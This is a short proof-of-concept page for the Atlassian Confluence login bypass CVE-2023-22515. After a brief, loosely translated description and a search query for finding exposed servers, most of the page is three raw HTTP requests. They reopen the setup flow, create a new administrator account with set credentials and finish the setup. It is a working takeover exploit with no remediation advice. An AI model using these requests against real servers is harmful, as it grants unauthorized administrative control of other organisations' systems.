Atlassian Confluence Server Info Action Login Bypass Vulnerability Cve 2023 22515

Atlassian Confluence server-info.action Login bypass vulnerability CVE-2023-22515

Vulnerability Description

Atlassian Confluence is a software developed by Atlassian that is built on the collaboration software of the network.

Vulnerability Impact

Atlassian Confluence

Network surveying and mapping

app=”ATLASSIAN-Confluence”

Vulnerability reappears

Login page

Verify POC

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: 
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

POST /setup/setupadministrator.action HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*
Content-Length: 126

username=bbvpe4mk&fullName=bbvpe4mk&email=bbvpe4mk@localhost&password=6wg6pm6sP123&confirm=6wg6pm6sP123&setup-next-button=Next

GET /setup/finishsetup.action HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*